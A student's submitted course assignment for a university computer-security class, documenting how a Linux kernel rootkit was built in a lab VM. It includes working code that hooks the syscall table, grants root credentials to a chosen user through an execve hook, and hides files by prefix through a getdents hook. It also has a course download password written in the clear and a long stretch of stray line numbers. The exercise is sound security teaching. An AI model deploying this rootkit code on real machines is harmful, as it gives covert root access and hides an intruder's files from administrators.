

COMP 4108A

Assignment 2

Due October 8th 2024

Melissa Rand

101223291

1.
wget --user comp4108 --password
z48QVUanF2wYV49A <https://www.cisl.carleton.ca/~hpatel/comp4108/private/code/a2/a2.tar.gz>
2.
sudo bash
- 3.

```
fffffffa3e013c0 R sys_call_table
```

- 4.

```
unsigned long * get_syscall_table_bf(void){  
    unsigned long *syscall_table;  
    syscall_table = (unsigned long*)kallsyms_lookup_name("fffffffa3e013c0");  
    return syscall_table;  
}
```

that didn't work so I used this instead as the TA instructed

```
unsigned long * get_syscall_table_bf(void){  
    unsigned long *syscall_table;  
    syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");  
    return syscall_table;  
}
```

- 5.

```
student@COMP4108-a2:~/a2$ make  
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules  
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'  
CC [M] /home/student/a2/rootkit.o  
/home/student/a2/rootkit.c:74:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]  
74 | static char* magic_prefix;  
    |               ^~~~~~  
/home/student/a2/rootkit.c:62:12: warning: 'root_uid' defined but not used [-Wunused-variable]  
62 | static int root_uid;  
    |           ^~~~~~  
/bin/sh: 1: cannot create /home/student/a2/.rootkit.o.cmd: Permission denied  
make[2]: *** [scripts/Makefile.build:270: /home/student/a2/rootkit.o] Error 2  
make[2]: *** Deleting file '/home/student/a2/rootkit.o'  
make[1]: *** [Makefile:1778: /home/student/a2] Error 2  
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'  
make: *** [Makefile:6: all] Error 2  
student@COMP4108-a2:~/a2$
```

- 6.

```
root@COMP4108-a2:/home/student/a2# ./insert.sh  
root@COMP4108-a2:/home/student/a2#
```

```
root@COMP4108-a2:/home/student/a2# lsmod  
Module                Size  Used by  
rootkit               16384  0
```

7.

```
root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# lsmod | grep "rootkit"
```

8.

```
169 /*
170  * TODO: NEEDED FOR PART A, B, AND C
171  * Uncomment the following lines as needed to store the original functions
172  * before they are hooked. You will need to add lines for the execve and
173  * getdents functions.
174  */
175
176 // Let's store the original functions so they can be restored later
177 original_opens = (t_syscall)__sys_call_table[__NR_opens];
178
179 /*
180  * TODO: NEEDED FOR PART A
181  * Unprotect the memory by calling the appropriate function
182  */
183 unprotect_memory();
184
185 /*
186  * TODO: NEEDED FOR PART A
187  * Uncomment after completing the unprotect and protect TODO's
188  */
189
190 // Let's hook opens() for an example of how to use the framework
191 __sys_call_table[__NR_opens] = (unsigned long) new_opens;
192
193 /*
194  * TODO: NEEDED FOR PARTS B AND C
195  * Hook your new execve and getdents functions after writing them
196  */
197
198 // Let's hook execve() for privilege escalation
199 // Let's hook getdents() to hide our files
200
201 /*
202  * TODO: NEEDED FOR PART A
203  * Protect the memory by calling the appropriate function
204  */
205
206 protect_memory();
207 printk(KERN_INFO "Rootkit module is loaded!\n");
208 return 0; // For successful load
209 }
210
211 static void __exit cleanup_rootkit(void){
212     printk(KERN_INFO "Rootkit module is unloaded!\n");
213 }
214 /*
215  * TODO: NEEDED FOR PART A
216  * Unprotect the memory by calling the appropriate function
217  */
218 unprotect_memory();
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
```

```
student@COMP4108-a2:~/a2$ sudo tail -f /var/log/syslog
[sudo] password for student:
Sorry, try again.
[sudo] password for student:
Sep 27 12:24:32 COMP4108-a2 kernel: [ 5648.215361] Rootkit module is loaded!
Sep 27 12:24:36 COMP4108-a2 kernel: [ 5651.882369] Rootkit module is unloaded!
Sep 27 12:24:36 COMP4108-a2 kernel: [ 5651.882372] Rootkit module cleanup complete.
Sep 27 12:30:01 COMP4108-a2 CRON[4710]: (root) CMD ([ -x /etc/init.d/anacron ] && if [ ! -d
/run/systemd/system ]; then /usr/sbin/invoke-rc.d anacron start >/dev/null; fi)
Sep 27 12:30:19 COMP4108-a2 systemd[1]: Started Run anacron jobs.
Sep 27 12:30:19 COMP4108-a2 anacron[4711]: Anacron 2.3 started on 2024-09-27
Sep 27 12:30:19 COMP4108-a2 anacron[4711]: Normal exit (0 jobs run)
Sep 27 12:30:19 COMP4108-a2 systemd[1]: anacron.service: Succeeded.
Sep 27 12:38:05 COMP4108-a2 kernel: [ 6460.626933] Rootkit module initializing.
Sep 27 12:38:05 COMP4108-a2 kernel: [ 6460.641677] Rootkit module is loaded!
```

9.

Least privilege, and Evidence production both help in mitigating rootkits.

Least privilege helps since it means that anyone who doesn't need access to root privileges doesn't have it. If any user could edit the kernel without worrying about getting proper permissions rootkits would be incredibly easy to install as they wouldn't require a previous exploit in order to gain root privilege.

Evidence production applies to mitigating the risk of rootkits since inserting and removing kernel modules creates logs which an administrator could see and realize something is wrong, additionally all loaded kernel modules appear when an admin runs a command like lsmod so the evidence production of the system means its hard for the rootkit to hide as it is very visible to an admin. However this doesn't prevent hide in plain sight issues.

Part B

1. As you can see below and in the file I saved the original function of `execve` to `original_execve` then replaced it with the function `new_execve` which essentially just gets the `euid`, and `filename` then prints them to the kernel log and exits. I need to do the `kmalloc` and `strncpy` stuff since I am pulling the file name (string) from user space into kernel space so I needed to allocate memory in kernel space and copy the string into kernel memory so my function could access it. That code is mostly copied and edited from the `new_openat()` function.

```
83
84 // new_execve function
85 asmlinkage int new_execve(const struct pt_regs* regs) {
86     long ret;
87     char* filename;
88     kuid_t euid = current_euid();
89     // Get the filename the syscall was called for
90     filename = kmalloc(4096, GFP_KERNEL); // allocate kernel memory
91
92     // copy the filename into the kernel variable
93     if (strncpy_from_user(filename, (void*) regs->di, 4096) < 0){
94         kfree(filename);
95         return 0;
96     }
97
98     printk(KERN_INFO "Executing %s\n", filename);
99     printk(KERN_INFO "Effective UID %d\n", euid.val);
100    kfree(filename);
101    ret = original_execve(regs);
102    return ret;
103 }
104
```

```
student@COMP4108-a2:~/a2$ sudo ./insert.sh
student@COMP4108-a2:~/a2$ sudo dmesg | tail
[ 477.004452] Rootkit module is unloaded!
[ 477.004475] Rootkit module cleanup complete.
[ 480.467010] Rootkit module initializing.
[ 480.480244] Rootkit module is loaded!
[ 485.453823] Executing /usr/bin/sudo
[ 485.453827] Effective UID 1001
[ 485.453904] Executing /usr/bin/tail
[ 485.453908] Effective UID 1001
[ 485.467214] Executing /bin/dmesg
[ 485.467216] Effective UID 0
```

2. This required only a minor change to the new_execve() function and the insert.sh script. In the script I just added a new root_uid variable and passed it in just as the suffix variable was, except this time I passed in uid 1001 which is the uid of the student user. Then in the new_execve() function I added an if statement after the strncpy if statement to check if the euid of the user was equal to root_id and if it was use the functions recommended in the hint on the assignment, commit_creds() to give the user the passed in credentials and prepare_kernel_cred() passing in NULL to stage the permissions we want to give the student user, we pass in NULL since that is the euid of the root user (0).

```
student@COMP4108-a2:~/a2$ make clean
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 clean
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CLEAN /home/student/a2/Module.symvers
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2$ make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
/home/student/a2/rootkit.c:82:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]
   82 | static char* magic_prefix;
      |               ^~~~~~
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2$ whoami
student
student@COMP4108-a2:~/a2$ whoami
root
student@COMP4108-a2:~/a2$
```

```
student@COMP4108-a2:~/a2$ sudo bash
[sudo] password for student:
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2#
```

```
if (euid.val == root_uid) {
    commit_creds(prepare_kernel_cred(NULL));
}
```

```
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt
#root_id
root_uid=1001

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$root_uid

~
```

Part C

1. used this as a reference https://xcellerator.github.io/posts/linux_rootkits_06/

In this function I am using the variable curr as the current directory entry we are working on. UsrcDirent contains the source buffer getdent64 would use to determine its output, then we malloc kernel space memory for kernDirent and copy over that buffer info into kernel space memory so we can operate on it. After that we loop over every dirent using modified code from the getdirent64 man page adding a printk to the loop so we see the output we want. And finally we free the kernDirent memory and return ret.

```
[ 298.371347] entry:rootkit.o
[ 298.371350] entry:.rootkit.mod.o.cmd
[ 298.371352] entry:..
[ 298.371355] entry:insert.sh
[ 298.371357] entry:rootkit.c
[ 298.371360] entry:rootkit.mod.c
[ 298.371362] entry:rootkit-A.c
[ 298.371365] entry:.rootkit.c.swp
[ 298.371367] entry:rootkit-C.c
[ 298.371369] entry:rootkit.ko
[ 298.371372] entry:.rootkit.ko.cmd
[ 298.371374] entry:rootkit-B.c
[ 298.371377] entry:Makefile
[ 298.371379] entry:modules.order
[ 298.371382] entry:rootkit.mod.o
[ 298.371385] entry:.rootkit.o.cmd
[ 298.371388] entry:eject.sh
[ 298.371391] entry:.
[ 298.371394] entry:.rootkit.mod.cmd
[ 298.371397] entry:Module.symvers
[ 298.371400] entry:rootkit.mod

// new_getdents
asmlinkage int new_getdents(const struct pt_regs* regs) {
    long ret = original_getdents(regs);
    struct linux_dirent *curr;
    int bpos;
    struct linux_dirent *usrDirent;
    struct linux_dirent *kernDirent;
    usrDirent = (struct linux_dirent*)regs->si;

    kernDirent = kmalloc(ret, GFP_KERNEL);

    // modified code from new_execve()
    if (copy_from_user(kernDirent, usrDirent, ret) < 0) {
        kfree(kernDirent);
        return ret;
    }

    // modified code from the manpage for getdents64
    for (bpos = 0; bpos < ret;) {
        curr = (void*) kernDirent + bpos;
        printk(KERN_INFO "entry: %s\n", curr->d_name);
        bpos += curr->d_reclen;
    }
    kfree(kernDirent);
    return ret;
}
```

2.

To implement this feature I added an if statement checking if the beginning of d_name matches the magic_prefix which is set in the insert.sh file. To avoid a buffer overflow error I am only comparing the min of the length of the magic prefix or the length of the d_name this is so we don't compare \$sys\$ to say . Which could cause an error. Then if we enter the if statement I added a few variables to help explain what is happening within the if I made a variable called nextRecord to save the pointer to the next dirent which we want to put on top of the hidden dirent, and reclen to save the record length. After that we need to preform the memmove to move the rest of the future dirent records forward on top of curr. And finally we subtract reclen from ret to keep the length correct and use continue to avoid having the system iterate over the next entry prematurely.

```

CLEAN /home/student/a2/Module.symvers
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2$ make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2$ ls -a
.
..
'$sys$_lol_hidden.txt'
eject.sh
insert.sh
Makefile
modules.order
Module.symvers
rootkit-A.c
rootkit-B.c
rootkit.c
rootkit-C.c
rootkit.c.swp
rootkit.ko
rootkit.ko.cmd
rootkit.mod
rootkit.mod.c
rootkit.mod.o
rootkit.mod.o.cmd
rootkit.o
rootkit.o.cmd
rootkit.o.txt
rootkit.mod.cmd
student@COMP4108-a2:~/a2$ ls -a
.
..
modules.order
Module.symvers
eject.sh
insert.sh
Makefile
rootkit-A.c
rootkit-B.c
rootkit.c
rootkit-C.c
rootkit.mod.c
rootkit.mod.o
rootkit.mod.o.cmd
rootkit.o
rootkit.o.cmd
rootkit.o.txt
student@COMP4108-a2:~/a2$

```

```

root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2#

```

```

// new_getdents
asmLinkage int new_getdents(const struct pt_regs* regs) {
    long ret = original_getdents(regs);
    struct linux_dirent *curr;
    int bpos;
    struct linux_dirent *usrDirent;
    struct linux_dirent *kernDirent;
    usrDirent = (struct linux_dirent*)regs->si;

    if (magic_prefix == NULL) return 0;

    kernDirent = kmalloc(ret, GFP_KERNEL);

    // modified code from new_execve()
    if (copy_from_user(kernDirent, usrDirent, ret) < 0) {
        kfree(kernDirent);
        return ret;
    }

    // modified code from the manpage for getdents64
    for (bpos = 0; bpos < ret; ) {
        curr = (void*) kernDirent + bpos;
        //compare curr->d_name to magic_prefix
        if (curr->d_name == NULL) break;
        if (strncmp(curr->d_name+1, magic_prefix, min(strlen(magic_prefix), strlen(
curr->d_name))) == 0) { // comparing to d_name+1 since the 0th char is 0x08 ie backspace (no
t sure why)

            //if it matches the beginning then go into if
            //remove it from ret somehow
            long nextRecord = bpos + curr->d_reclen;
            unsigned short reclen = curr->d_reclen;
            memmove(curr, (void*) kernDirent+nextRecord, ret-nextRecord);
            ret -= reclen;
            continue; // since new record is in same spot don't iterate bpos
        }
        //printf(KERN_INFO "entry: %s\n", curr->d_name);
        bpos += curr->d_reclen;
    }
    if (copy_to_user(usrDirent, kernDirent, ret) < 0) {
        kfree(kernDirent);
        return ret;
    }
    kfree(kernDirent);
    return ret;
}

```

```

1 #!/bin/bash
2
3 # Specify the extension suffix for the openat hook code
4 SUFFIX=.txt
5 #root_id
6 root_uid=1001
7 #prefix
8 magic_prefix=\$sys\$
9
10 #Insert the rootkit module, providing some parameters
11 insmod rootkit.ko suffix=$SUFFIX root_uid=$root_uid magic_prefix=$magic_prefix

```